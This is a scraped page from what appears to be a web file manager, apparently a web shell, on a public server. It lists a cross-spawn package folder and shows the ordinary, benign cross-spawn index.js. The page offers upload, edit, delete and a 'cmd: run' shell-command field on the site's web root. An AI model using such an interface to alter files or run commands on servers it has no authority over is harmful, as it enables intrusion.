/
var
/
www
/
flurhymez
/
node_modules
/
cross-spawn
/
/var/www/flurhymez/node_modules/cross-spawn
mkdir
upload
Name
Size
Mode
Actions
lib/
-
0755
rm
CHANGELOG.md
4704
0644
edit
dl
rm
index.js
1192
0644
edit
dl
rm
LICENSE
1105
0644
edit
dl
rm
package.json
2549
0644
edit
dl
rm
README.md
4728
0644
edit
dl
rm
Edit:
/var/www/flurhymez/node_modules/cross-spawn/index.js
(1192B)
'use strict'; const cp = require('child_process'); const parse = require('./lib/parse'); const enoent = require('./lib/enoent'); function spawn(command, args, options) { // Parse the arguments const parsed = parse(command, args, options); // Spawn the child process const spawned = cp.spawn(parsed.command, parsed.args, parsed.options); // Hook into child process "exit" event to emit an error if the command // does not exists, see: https://github.com/IndigoUnited/node-cross-spawn/issues/16 enoent.hookChildProcess(spawned, parsed); return spawned; } function spawnSync(command, args, options) { // Parse the arguments const parsed = parse(command, args, options); // Spawn the child process const result = cp.spawnSync(parsed.command, parsed.args, parsed.options); // Analyze if the command does not exist, see: https://github.com/IndigoUnited/node-cross-spawn/issues/16 result.error = result.error || enoent.verifyENOENTSync(result.status, parsed); return result; } module.exports = spawn; module.exports.spawn = spawn; module.exports.sync = spawnSync; module.exports._parse = parse; module.exports._enoent = enoent;
Save
cmd:
run